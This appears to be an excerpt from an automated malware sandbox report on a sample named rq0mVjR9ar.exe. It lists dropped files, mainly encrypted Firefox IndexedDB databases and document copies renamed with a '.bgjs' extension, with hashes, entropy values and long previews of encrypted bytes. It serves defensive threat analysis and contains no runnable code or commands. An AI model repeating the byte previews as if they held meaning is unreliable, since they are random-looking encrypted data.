SSDEEP:	768:LEetYSoJ5froh4S0eqs4f1fk+AYTr87ireA55AyZwag+R6TBLypJl6RG:LEetRGcS7F9MUreA55zZwTlyzl9
MD5:	3FE267B6A7E7685D0AD26EE512BA30F3
SHA1:	F81A9E9EAA5170046DA1185BA031304D96687B2F
SHA-256:	E9637D9CD1E88073ADA294AF0BE72801A3CFB4FEA1DD1407B0F1C1A29F715B36
SHA-512:	45514F5CE2605834BA59C6C39A8DFD2E408FCB1CA7F02C00DA0AA25012DBE8A99B26391FBF0934AED48B940CB16A9AB8D23CA6F40252D5CC0F65D90C650AE222
Malicious:	true
Preview:	SQLit.......P.0......h..6..k...q...x...M.A..iXf.q...<.....O#.'....G.......q...h...n...S....a.p..L.].9...p#..T..;..lIP..A....\|...[7.7\|t..C\|.6..^.....&....-ON2...2. .;.;..U){.?..v.%...x.~..O.}j=.......y^.R+....c....y...l}b@....".$<s.<q.....%!.-....n.R..?O..y.0.....#IjGOp.L...}./.+.!.e%7.5l....v.6.U.X.'.1,.i.)@4....O...Ih....H..9..../c..[k...nw...-.".q..L........4q...b~wz.Z7.kO.S6...K.x....S......g...o....+.....7.....j/$.@..fi.1U,...G...[....Ay25..>.6.B..ts;.R...........f.i......7.o.8dcF.-z@}2\|.E6'BC........i.]6d.,......./..D.W%-.l..`.....z...K..J..aa(............R.cX.s..N4..w.w<..xso.)..X..n..9....Vg..c..5.w...y...n.Y.<.M.C.(...j.L......v...j... Na.....6...p._.:y...R.h,2...`.\|...O(.,H...\|[<..../.....6.... ..w...K..l....??.G.W^h.........NE".%!X..0...I%.0....J..@..;8+O!/..y..u5;.+..f.D..;..9..Q.iW.......hP.BE./....$.Z..:.7.8...5..w Z...=.......T....Y.oq.y%3Tc6...>.....)..f..$..........der.....9.........n`.....`...~....1..eC{u&.E............T..\|.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.99458627269235
Encrypted:	true
SSDEEP:	768:19UqwIgHh6sehbRUbaiJy02CrAIaHLx/W9x2AISrDCJ:6lHhDehbRUly02QqLx/g2zSreJ
MD5:	E02BDC07E21D3CABCB6018D7442B7C42
SHA1:	11441D564847111D3941D3F13A9F9A7C1A8DC0DC
SHA-256:	743EA1F69A42C407F9E0DDEAB407E5DB914F7ECCE2D8FEADFDB08DD5E6342355
SHA-512:	FE1284D33A53B884F64C91E3A643037DB403924968C2A722A2A476DB439ACD5676CDEB3E1F0443DDDA6A598F44514514C6A074AF434CDE290FD10EE84DC53DA1
Malicious:	true
Preview:	..-...A.!...............P.j ..-..U2......f.s?v..5rN.)P....._...7...@.5.........T..jk....F\|lTW.E`.c..[.M.....p.i..2...g..v4....m.<.f...y..#..t>..(<.X...b...#.......3..)A.&...O. ..\'.r.u~.#.S.A..G.4..G.5..o2...h.]....."<..Rk+.o......t....P.({E.@\...&i\.....~]k)b...c.../M....."..._..9...]E....6...w......Vi.....k.......[z....6.]...n..#"..m .4.....U.<.....Ol.bw..Rj...A3.96.w...G.ip.[...u..Jh...X.....Z.2.S.S..D...o......4Q.\|....]W....r..:..A.R.&..PS[...W/\|O...-.. t.Mwb!."W.R3).....$_..,b..d../.Un.,..$...3..P....r./.y=g~\....+.vHjm.,...YI1.z.<...x..e:..g..n.YO.3:.i.'...fw..t.. ..XNz...Q<=L..J.i..H..K.U....N.Y`M..1+^..dCj..&.M..3....%q..d..'8.N..a.D.x.L...RGi.E..l.T$....i/.W"...K..8.I.t.{.e....U...O<.Y....c^n9.+....H\|....W..u.-.9..2"._tM.s..KK.8....iyK..9..R+....Dc.?</.....tan......jm........:j.j.f..N.K..m.e.E\.,f.uMP.m.e.@...0.O.Xr..7.......A.....90~..v@.G.w.....K..}..=..GaU..^..T.+..O.6..".0.v.....:9.Qg.-V.#.T..VZ.1[`9)...u.f.`..S..~.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.996302031225355
Encrypted:	true
SSDEEP:	1536:4+wmjADL8YISn54FEFdCFOQbYhRdgBR0Jgf:NwigLz54ed5wY+BR0JG
MD5:	DE5A2B0AEE12272A7B687B7F77854807
SHA1:	4D6743A5B6402936C78B26ACA33817A5E6D16662
SHA-256:	62BC09B81156A575180716CA38C4BC0800B361CFD0044077B77521E2A6B26D21
SHA-512:	513D0839B4A7BEF77380CBD9FBE7707CE918A2B4F2BFC843FCFAA2CD8E69406B2F4B51DB29667857EAF9F8A671AC9D17D0FA5F22D79D8D889FA8D2D2E9D4B1A2
Malicious:	true
Preview:	SQLit....}.....v.0.j....X_m......v.....b..........<.g.=...V.fna..j6.n.&..U.~..b.(....t`P.ye2j'3\+.J...."G.L.u."....+..V..q....'....`.hS.,..V.k<q.~..X).^.....JB/G.u\..B>d...3Q...8.....?m...!..~..DV.k.oh..b.T`.z..%`..{....f.@..^..YS!}<6z7H...2J.......5....\|q......!...6s.i..\B..U..... ...\.4#`...4R.}.../3~<R....{+u..2...S9...b{.....&.q.UA(..UI..:...J.....@.[.dx..21n,....#.1..,.......JE...}........6....{I..........>.r..........z.e.._].L.......B..Jp>.\...)pE..pE...xCti.!..F\|..........6.7!..b.u..\|.>g.......`.9!(..s..~..?.`.[...j....ENHpN.C.....<w.c.w..t..kj5.iT2.....#(..3...$.T.Ul.sBY..K..i..QE..!n.ub.=.z@.x:..mM.....T....2..u .V>ft.....>C.QLO...D..JP.V.X.R..j......wd....A..a.Q....U...Gp...6..,...Y.....)..\.>..A..K.^..N..x i.{..40..u.......-;....b....3'.#lN...v./h1..N....?C.i....`hQ@.n.!G~....BB..v5.t..,(......!..]_...r.9...i...$.G.G.\|7......cy...qOO...)...s...N.)...JN.]. u........(.........0....:..../P.%f....n.......K...m.K

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.995066331719325
Encrypted:	true
SSDEEP:	768:pDuArlBqf/OOG8Y65QuwtS7nEEe35YTwSZMMPAxYDnToFqUxBG:huZOODYgQuHD/e3GTww5FrUxI
MD5:	AA7C59B07ACD2B8E4791E39A9B64472F
SHA1:	2FC8C5C7A562A5EC542A5DCC058579D54690E853
SHA-256:	F6122DC59538AEDC0E173EB1C690D08B48714380091B2F21A83FF94C662BCA18
SHA-512:	2BEEAD94A94CDD5B070D9D65BBE0ECA60A55B8E564A8C9A9A79E43DE327FC2E33E03683138343CB4ED5CFCA9F9C947E3CD4BE98EE309C82C07880858E7EC3FDB
Malicious:	true
Preview:	..-...?.....hn..E.....W'.+...s....&.xC......o..........{.=.#1C@..%..I.s....7..{.]....G..0.~z.....@@........O7V...i.....(.Sp.g....-...V.F.#....@.....ty.h.lw...ekc.`b$....D.F.s`._...<...TI........!......>jn......l.g=N..8.?c8..w.0..3.Z..L....g...`+...9.f[M.....3...k."U./,.{...@./BHy.......8{..);...A..c..VcKv.a.`v...~{k.j..+..f..e...\|$F..^.O..K .Q..%.1..U.Z0..Yk.......j.X...!J]I@j^q-..4..la.?.c......x..N.....~.A.;..1.....\-..P..0.5e8.......M...`.<.?.v.&%?]..#.Z...Gg..M.M..=.....c1v..hC.Lc.5....`.............I.dY.l...d..B..:....r.K...UI}..:.(2.sW..U..PgC.....J...........F....D.m...X.;...;...G.....#rt."T.B..........&v.P.Hs.E...&.4..n.3.5..&...+..i..Rc!.~....d..........\|.../..8..!...D...L.{..r..C..u.N\..g...+...-d.AQ...n2..... 41....p.n'.w.T...Oq.M......\.....G...r.n[.x,... ,.s..y...1..&.;U...].E.im.m......Q.~..2P..%6.1j..9/....N.P..,.q.O.zmJF..D...X.g>.yx...I:Jh.tg..f..jZ..@+.....b$0.=4..;m#{.z.....!..z.>Gy.".Y...+....<.6i.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.995991982961145
Encrypted:	true
SSDEEP:	768:dfY+O+4TI5Pq/4/NdrkqoxJAQf3D1IpHipHihiTcpPdtX4EI9Q+NmJmtBHYN6PM8:lOZc5y/4FmJAoMHFF419zYJmtFEDg
MD5:	200795C5CA5143743F6A47158C91FD52
SHA1:	7BD07253E39CEF28946855CC59A34AF1BEA74DA9
SHA-256:	2DD745677544A10A4DF469D0BC51F9AC3056C70AB65690E3DEC2E5C81BDBBC8A
SHA-512:	9D8D937DCEC05326E508DD6ED36BFADD9AFA7EC72A45C1FA7A41921A0C37F59C8BAD3C21D30E51F8E5DF3A44BB4C2A57DA0661165998548EA1B91CB809E18913
Malicious:	true
Preview:	SQLit........(._! /.A.Z@A...$V.J#.i.G.'..}...OS...\g..V...O..Q.K.....xj"SW..jF0.^.,.\|5C..?R..!mK........Q......q.5.....^.[...o.G.jg.bg...#.,l5\|.U.N....F.{@....x.....OLZ8+(B...j........A?.,.>>..t...:.c:c3=.\..TV.~....U....C.^/[N.G.A0.n .Z.p..&k....Q.l9.[..{q....+...`....$..}[=.b(.{...>..j.R..f%m.A(r7J..q......4..pie .......\|Q..%........DT.n.8u..z..R..#..K.^....j.W...)...&....vU.a...J..)\....W...WRw.E)......OP1...Q^2,w..ym.&........`U0...d....r.q......OLr1...q9,.+.m<......S..L[V...x....A.H....O.4..g.....D.."......+.(.E.P.Z..4%.b=w...>%.a..`...~.....Ky.W.{JzF.!f.sU......E.....L..(.iO...+..[k.r...W.....d..i.u\|Si...W./i.Q.CEp..6.l+....A9mq..)..Q..}..".'s...Te..o.H...Rtz![....-S-}.....N...6.."....t.D...&......p9;..../.'pr.enL>mhF..D=....z..}l.\\|n2...R....I.luM...'...Wi8s....B.E.`....T.d.....F).d..K.\|..$..)..s...k.. .m..A....5.....J.r..4.N.5..!...l.7..%.^<..G...{d9...[.u...x.2.....l.^g..P....s.B...m.....6f........g...h..\|%!.....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.995050951389957
Encrypted:	true
SSDEEP:	384:7vG22eC6CIWIS32t4vMpHVx/rTOf5U4aYizbLgRyCEySPB1IEpvQvMvnM8wtiqef:C0CqE2t4vMZf/rxbOyufw9vmwqwK/K
MD5:	6C20902624D1BE9F85D7102070899760
SHA1:	BA28B8C1F5547AAD6D66043E4D049E28DBFB5B64
SHA-256:	4FDA3A59C9D8265E24B9BDDF2F2C06FD762DD88E0194A51DA88E0CC6D51D1AE7
SHA-512:	01FCE9F7A7567F66A9C4784389B0F7D19307EA177112E01AF4C44B4DE48E5E9A2D9C18B7918D3DB47C875A0068114A066C479215706FBFFFCE5D4D1F3F3ACD64
Malicious:	true
Preview:	..-...vg.qj.R..d0.lh.A..U....l^.'.t.M.=...t.(.%}.!.0#<5i.......Rd...V..OaH8.O.#..'.mB..Q...D....Xw[.\S.rD.....9.&..#.......#Gy...E./=..\|{d..o..{...?.lJi`.u..G...D..>.c..V..v.........T.v.s..f.....7\3..$..#.:...TtJt../.$..q..[..T.....}x...h.^.......z..,.RY?......o.L........$..'..K.9.(. ..2.d...)C&T..p..\|..A..26..`F.d.O..e..........IFi..Z.- 3....^t...k-.c{j.C)sl..9bb/v\._.P;M.a%.9.2u22.........]..q..;.gm....u}.Z..7.....R.. +.....P..tE.}z....=%.....:...z.....;.X.4..,..}.... .dL.7.n..lY-$juyHo?...1CF.....f}.....g.K....5q).3m`w..R#..Q0..,.._......R.,.....*(...M..J!<......<.........V.....1...r....1....A.[.......Q..P...gZ..?.wC1..u#...q..m..CR..\..!.X{d.e./.",.L...E.6..N..G..,o..OZ.......0.MS../.h..i.Z.R.B.3/..."..N.......Nt..b.....YJ....i..4.....:.r..X..%=..J....._W....@.Y..\5..)....../@....... .y=..!..%....;.4.X....d.QXY..).s].....0...Kpx.Q.fX....dQ?\..y..'.,..}...\|...c....!..e...Z...s'...f.(.IK:.(...0W.R..XF...KL.?8...V..../.`.^

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	541006
Entropy (8bit):	5.621449653513228
Encrypted:	false
SSDEEP:	6144:nnh5+SX1gb0T32lDbfrnUp6iEwqsX2YkGE/f2RaD09Cw/o75:nnh5XywWn7Up6iEwqsG2HRaD0xg5
MD5:	2937F63D3B521CEFBF0731E61B107831
SHA1:	8351B9AD5726D80CB205392739EF99753CC25AA4
SHA-256:	A7AD2D1DA50A2E66606112F5696D3EAF92E8F7894A7BC4923CE6E488130FB8CA
SHA-512:	731A7E6A60E8EB10892297D98E4983CEF8D04400B8BB4C87D12D219760604E74D5081E554F4AA46A69B3FF126EE4B36A5A627B22894B09A84542496C42B49BDF
Malicious:	true
Preview:	SQLit.&..3..>.z.p.W. .j.s7...<....AF`..v.-z-.g.oh....X.YI.K....l.[@.v#...#..>..$....g.....P0^a.ky..".J.4L'cq.)}.d.tA.&\|.&.J4AL.a5....g..A7....Y(H...j..........D..Z\...o...?..........<.ghJ?.X3A.8.uw.4LM.....Re.B}...A\.'.)............_.w&.".[].O=...>.C.....%......T&.5..-].\..jTB...}...G:......A..L........)DKq..a.Wv..sG...yN.WU..J.....2"92DM9,.MRg=..R.1..R\|.s~..Q1.......&....k`.J.tu..h...?.....i.N7P.}.f..go0yr.8...d.#`......V...!...E.8....Wg..F...mYH...:{T..vUfe.L...D{#2u.U...\|.....>.(....q]I.p..rOI?.}D.L\..$...p.........Eo>....f...Mz.[2:z..~.rY_.....}...,.]..w..H.......y.....`.jt.. L;.#W3.9n=...D-].B.2.j.....<.`.....TWQ..\..ZF..o.\|g./..J..@..=.[$...M .....s.......P...7..........]....8...5..:.Ax#....O.....M.y..6g...C.{....H.r~...+...Lh....\..+.l..B..4G....v.K....jO].#.8_D.....,.....u.J.h.V.6]N...!.......u,.A. a{..E.[W*.....}.O$..6... ..W..G.#."].8.4..vLx...A.r.........1... (...m..3..Y..B......#r6x.......&..!..6;.B....B..j.Ic.....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.993945727006486
Encrypted:	true
SSDEEP:	768:i5y+Bb4yKoFf7miK28/qHkyOUn95eTb5PrJOp69GqhbsKI:ipbVFf7mLoHkypGTb5PFO+G8o/
MD5:	9CDE9C4CD15528316B328A0EC11D31DC
SHA1:	516192E0035A0515F562FD1FD5DFA676CB8FC3F2
SHA-256:	90CAB77A86D228CB86F3985E0AC125864A531A66D3ADDC8742BA5F8B411EE494
SHA-512:	8B6A15D148D3EF69C9B025E49096C6801F8D81A2DAB4B5720127AC2EE7D33AEF4735172568D5A9A1902ADDC54EFC2E88111494A7889D6B199957D6211657CE7A
Malicious:	true
Preview:	..-...\eT.4f#H...].o.....'.."vf....[Two..a4+xw.y.....o.....;B}.d....yM9.....F~..r..R..vR.#...D.S....r...i..%......e.%....fr..V..+aD.t...Y;0...T..jnn..y...Z.M...o...G.%...3.'~..B.ia....itu..J.....j..J.q..D{..73nR.y..Sr.,..........>s........Zj.....)..BQ.jxeq.~S!....J{..C.Bc.L.......J......9.R...:.........6....B.5.,6..+...f`cd1..E.V....../n....4i,..]..7..v..$....\|..a..<.....?..c........j..5.[./.(.t....W...U)V.E.F..G....N,...V..>.,F........5.\|.[.a.Tz.PL1B...._$.t..h..........e..L.?O..EJRd@.lMU]F....2[/..]....z8.;.P.k.,...7......e.:.2....<.....1Q .,\|.OB.Z&.pYO.c.l.nw...P.m...O..L.3^..?......({.O.s.....%.A..r ...1......bM.?.(..._....6@.r3'.3.....{...C...<d.....C;..p..Wu.p.H1..^.....,........<.&X..L_H...S.%...a./o.Th=..f..]9...h.......Uwp...0.J.ke(....U.U...\|].._....q..m..}..,..kq...?R..-YVh@-.......y..../..%v...@i...}..D..i...5...G.8.g...z2.8..J.....}...!FsHb.Fml.N.;.P.;.3.{!(.m;..(..m<.T....c.......+..I...}.\|n......*.n...wj.i.i..l.v=

C:\Users\user\Application Data\Microsoft\Windows\Recent\MXPXCVPDVN.docx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845849280085434
Encrypted:	false
SSDEEP:	24:6kx65CSDs7HptJQOxvREtwaHr9E7Hk2dCM1p88Rh5oR400ukpEhiTkbD:6ko5ZDsrptJQimHL9E7HkAj13on05pJq
MD5:	45B640D329026E0A29D1F6FB79A05CB3
SHA1:	6DB21F164D411DD054DB9819E7D2AEB21549F113
SHA-256:	70DB5C85EC7F9CE739DA556B9D46055B4B5ED5B3DAE06ABC25E896BF44753E1D
SHA-512:	D11F7DC5D5B276FBDA0697F7E2C6E27A15D28A98DD910D607A6D5975042A1F0EC505C560F954188FC7B7F645B7308FDC78A4A9701EA0B7EF6906A88E0BF06D51
Malicious:	false
Preview:	MXPXC.+\.@..>.H.oE./. A.f..~....*...z.gNT.cZ..c.W....sq@..m..+Q..B.9c(...+xK...~..._.x.9f..;...O.,...Md,S6.}p..NR..".......N......j<rI...@I.X.}...\.$K:=......%~J.kAA... .....e/.f.......t(\|.y...&..pX$....p[..<$ ./.........)5[.U...N..T..........Adp..Qe.8M.2....v.D.(..].(...d.!.{......$.i....X\e^h.@#.A.Z.u.]3".$...&.s...{4p.)P.Y.X...3..-:@.PE.&e.R..^.n....L...Y.@..&Z.1C...v;..s..\..8Sq..fJ[......]4.,`....].I....BL...2.l...1x..i....c#.Y.~@........,..E..o.......d@$?..e.=.cS..&. ...!;...u....i..v.....U{..u5...\.-.@..K..<.R.<O.Q\|.".fB.b.3...]....<.K...p.tt.kiu.eE.2s..N;.G......2...A<&.h.[../f4p....SQ...g.QW...{F.o(ikdh.D..............z.`.......n.........Z.....,jc....?.j.U$..k....P.....O`....JU].f.........j.o......^.R-.Ye6..u.l.T.X.[_.....Y..^...g......NZZ......B:.p5..R..."..#.d1..pO....,p.O....t..f.#...+&#....SU...J.5o..D...r.!-.2.,.,........UD.k....o.B!`9..6...}v.&ct......~.5....\|n....b..y....V../..R....'.4Q..Nv..6.&.....N....&r.....?

C:\Users\user\Application Data\Microsoft\Windows\Recent\MXPXCVPDVN.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841802569480034
Encrypted:	false
SSDEEP:	24:lri73V+Co7dCo/wj2vs42l1snfA+jM6VB50Yt02O1WJCUHEa5j2iTkbD:dAV+XKj2vsLknfAxM0cQWJCUHEuziD
MD5:	475658D9093F214630AEF03E8F634118
SHA1:	F656E61FA4BBCC238C0588E227209840A20EA8D4
SHA-256:	3630C40A396F69754765C53255332A9B0A3B84204E2C04334130D8B0F3DC7FA6
SHA-512:	A237FBB1DD4F58B515A4EFCA5B9339ADBBCC2E8F6C0DB29B1257C064C405E42BEE371A8E7F4A93C647B21DB5820306EAB43BB2A608EC196DBA6268010EAC1D77
Malicious:	false
Preview:	MXPXCC.M.m....H.>DA.Cd..yC....f.2 ......V...]m......G..kL.I^....o..A..&..D$.>w........W.Fqz..T..X.Jy..LWY.........Jd..... &.&t;P...1..s...I.,....I.$..9l..d.3E.tj.M....0.p..4.d).I......Y9G............I..........2I'.(L..9I..\|".;X....../.9.Tq< .._.....m+"..6.c..I.(....G[........^.aC].f.....L\|.....{..<f.:..S^....z.....QAx.[,.F.Z.v..<f...`sU.(.,f...\|.....b.......pdC.b....X..."A.fd...GL._wPz../18...(5.4p..D...,....8[...w..=..[)..LB1..~.$.?.N.L.2,..%...-=U[.j7......$q....a3..0.N.d.c..@C.d<..n....dI8^.X..p...=. .y:..v.1.V..$.h.o....Eu...-.[...F,L.@`U.x..<@al..A.@JKn..~xSV..b<.m.W.."[..id.D.....`._u.bO,.._.....BX.A._R....}hl.@:..L...0..X.t.C9n.o_<...........N.ki.f....J......>.B.6..j8.........^.7]yP.......\.(i.e....=FerRf....2......r..@m/7.k.6f.....9..M.......0.XH.,....8A..M............s.J..u.u.?S>....k.^..r./. ..}:SL.....T.1.d.J.2...rI/X?l,.OS0?<.5..wv..V.....P ..i.}`./....E.X.!+!.........=..f..T.7.r.V.!.C4..V=<E..n............#.....b..

C:\Users\user\Application Data\Microsoft\Windows\Recent\NEBFQQYWPS.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8443288911929505
Encrypted:	false
SSDEEP:	24:gCbpCgfFx2bpuDpe2mpzXQ0zbct3t//EYXr/P7usHG/xnSiTkbD:gCB2ceT60Mt3pMYXr/nGtiD
MD5:	20452251F0EC5A9F75BCC3057D46E425
SHA1:	EE4B4CAB911CFFB9054EA5CB319DD8BBD4C4EA3B
SHA-256:	845AB66A2E9DF72FD505A4865A1ADEB6717FF19DC591F878D18C0D6D411C938F
SHA-512:	06F33D1EF3DBAE67C1BC92CAB382FC73384CF0EF45C0EBE6C2850A452B313BFCEF186D3ACE2648470C01979A53FD9220C7BAA807100CC00ECF6EA5CEA408A9D0
Malicious:	false
Preview:	NEBFQ.(1S...c.TM.0.R..5.@.:.Iv...>..y.}.iz.....n..?'T.__.O.P.y...P.r.G..J..]..../.....AH2...dA.sE....v..X....W.;....{..8[ Wc....ZtU....;......OCbg...KS<.o...G...tC.J.......(..c.j..Iu.!.!.!...s.[.z....1X..Z.}.v.e....Z.../.5K.`....Sa...!..\|....=...............PS...5.r{5..t..-I..f.<._5K_...#..Xp..1.Rm.A.R...k..#R.X'.L..K.-.....IN=..@0.G.#.._."x.0...K..C..t........3:.%....i.....V.....c5..V.34.9&..)@..!..H...].M...._.C.}....Mv.N'..[.....B}ks{......:,...7..P....1...yT...@.{.a..'2eg..X.C.d..4.G..4.....O..q....~$=m....@A.6:....a,\.,.J.G.m#.t..........!7F.j..@.DK.@....z...A..#.}..g..Ml........W=.......O.j.O... ...6x0....)E"..L.!,;..oY...._....p....[..3.Y.x..>1..R.BB..c\|a.6.r...F..B..}. nR.........w...<.nAL..3......%....?...[S.w.ALC..."..r..c...i.7YH.6...;..A....uEC..=.{..jx.(..F.R.....j..........#.h.......d....q.........x...v.....y..V.2..>...^[..)..h.N=.....a..ltX}........'..Sn2g8.x.99...Qj..[..:.#..p._..W.Y...B.]"M..LpR.O=Kt...'....>.s'.p H

C:\Users\user\Application Data\Microsoft\Windows\Recent\NEBFQQYWPS.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846336764666039
Encrypted:	false
SSDEEP:	24:EntsUfuWOOFaVHRHObJmq/oxqZU0Fkm4M8ob+hAZenZiTkbD:EtsO4BRHqjkv0m21b+N4iD
MD5:	C861DC9828409BBA7DBCD011042FC0DA
SHA1:	CC5A5A99014E47A2399CFE2B42582028400892EA
SHA-256:	D9E6547F3DF7D3F8EEF405A846353127AC6FF0DDC19754C57B9F9B581218B8F0
SHA-512:	C75D6AE7058F60E1CF8B54BD4DAEAD00C7670FD96EEB2AD74CF51E9615931F0EC566BFF597490BEB8CFBB043061B1683F8B474D4CE25C433B9C2AAE9B5E7D405
Malicious:	false
Preview:	NEBFQ....W\|.+.f...3m....5.....>..!d1?.+.u...l.....[....~Q.RP:.....)...4.A:O.........h`+t..{...K..e'......X...>c..?.]d...((.....67...WL.\......c......s-.r./U..`.'..t6-'...qA.}.L..x.v..\.>.Kz.z8..........k.... ....T.a.%.;g.5.zF~.......R....M.K..y.89....$..]A.......V4-/_.A..ai_..S\.h.+.`.)U.f.)..f{g....A......wV{.....r..C`.h......`P....Al...q..0..qZ......l...\|.yo..$.....[........,.tW...n..L$.qR...s@...o...&...\|V.{17..N..../.=.V...v7... ....JQ....iz..1c. .QD..g.g...K.l..N.......).`.l6....?...\|/........3[.:.u.I2f<..u_.,%J5......./?.........v$....!pk...+,.I...0{GEZa...Y..]..V..x.....&...g.7..^.H.{....:.R....^.g......oU..,..p...e.xtX...~`-I.MY.....#S.V.-.VS;..R.].,..f....z("..^0@3..'6.({..z<eb .C.S...t...y6..TT..x....`....x...m${.../.Gu..H.@2.-.kJ.^..H..KU.....N...IN.:_IU.:.C.....^..........Pd..>..y....n..%.q."ceSYjw.....F..,8H.E...4.....&B.&e..k.wF.^....p.&..D7.......-.4)...9...(...dav..dIovZw.XVt...........e......9.....4}.....NJk.sIix`

C:\Users\user\Application Data\Microsoft\Windows\Recent\NEBFQQYWPS.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8406683550286465
Encrypted:	false
SSDEEP:	24:QKeXn4yFZXVhUAtouqWv3SB7z56vftBh35rcuXSfZpJ21wGQiTkbD:QKyRZlhbqo3y7FEtBhJxXoZpyiD
MD5:	1A08747444CEEE45B95321BC9F502696
SHA1:	4C66CBBB092D59470A87EC0C4677DF160E63DAA2
SHA-256:	B2929E20666A7761E2F713B47E13DED443D07FDB83413A2492CDE1403575FAD7
SHA-512:	5DC29D40F0076395E1D30F7E77C01937213C96E6B8416322CC9B1E5A273436B6F3432B369986E1A66E133090999279036FE62194645808681A65A6D8FA5B5B2B
Malicious:	false
Preview:	NEBFQ.A.d..#4..dM`.Cl. ......r_+......-~B...7"..e!xx...1..!;.z.W.......7...'..HVk......NQ.n\|....7...k..........."m..5....=......[\.U........o..<aW..4..>o.7.a2."'}pf;...s..=..1.j.~9...b.~..j..(!.oz..;........%.P...n.?.......]..R.....&.y...H..cr.U.2.H.6...hE..T.F..B....$.E.d....C.IN.^..9.......7j.6_.S.B..S...8.......7..Q..@..#84...{.\|Oj..Z.....@-......[...eH.....m35....y..d.T.Y..V@.lj[..Q.X.......<{.\.o....F.i.Y..>R..z...?W...].........F._.A.IkW%...C..k-....wk)d.w."......3UmM.q..G6.K.xp_.g....]5'..]..`...c.5h..y.}..W...s...#.z..].=...u.C....Q.MJ.{9...#....0.'...;...^.......J..x...6...q.Z..a.......V..ib...,C6..N...a...m.._.:....[..WU...mB.&....g.1...,-..z$...#..~7...R....,...U..^...:%i..r..)....W...]S].yT...0r.....q.4..QR..{.UE%E..=n-..x..e......D.p.....N...x.....4.J..#..i'..n..7~X.1e}.......~h..V.c....q.{.e15.......H....z..........\|....]2D<...}....0V...T@.d.E.M.........k.t*..CI$.Go.).m.W.@.]YFa..c...&{{..j.:.j...X..0....<.[.S.

C:\Users\user\Application Data\Microsoft\Windows\Recent\NVWZAPQSQL.docx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840185346489044
Encrypted:	false
SSDEEP:	24:F7KiCZMkq0naT12eK6SUTIOcCgqm9J7fYl1ONUh4N8kZdGOP2AcDTBC3CPVW6iTW:F79C5qfTsevEOc2E7f+cx/7PsDFCS+iD
MD5:	6CF8101CDE2404A7C452E8294A3FFD1E
SHA1:	E8A4C81A96C173B41D652262746913F8C432D45F
SHA-256:	3321F97D5F04CE930D0952E2A7AEE4AEC30DCE22F4A5203A1D7CB8E6E7837E89
SHA-512:	B1DF13372D20DBBE206F5704A5B9AA741174B49E40598776C3D5A6F3239B73F9306DBF2180BA7457C8B56CB21571260BEAB3879C422E91E1F0D51B6E242AC08B
Malicious:	false
Preview:	NVWZA.aj.F..5&.W...s.....c....6.].}....H..D@/.....B.)T..l.GS..}..;..@i.......un+.y0.....VW..X ....$z.....S. .....Q..........d=.....\|....y!.F.p.F\|a..VDK.7.."s.e..N.>s.......Z.d.....].@.h...&.e.Ld.U..Y.Ko.Tj.h...uJ\....!..=..5...[......I.d..5..4.%..A..1.?Q..@.@......t...../.tS.@........C.i...F...\|,..._....[.\.n.._)AZQ..X.=...Eo.#@.%..!..T&<#sdp....;.4.F..@...~p..8,...S...t.........%.........Uo....h I.8+t..k.t:o......B\.y`+..H.A.D..9WN.......e5...[...L.Z3...."&.f..}r.i..hd..Fd.`.,X.,EqA...6.+.+...ho.E..sj......+.1;.o9..U.H..f..>..6z.2..g./I.&..>>-.".."".....W._.o.A.... .C.p..0..C......w=.......fM../fa.J.&.e.....bO....A~.q...........%.c..f.]zS6..M.}u..O.ag...`...t.F`..LBL.x.S.sY..]..U...9..\|_b...=..wx_.d]..n....3@mWSe..\.+.kC2.F..r.0L....W...o..Q \..........cv...w.c{e.'3@.0..m....W..;`.3Q04o.\|.. 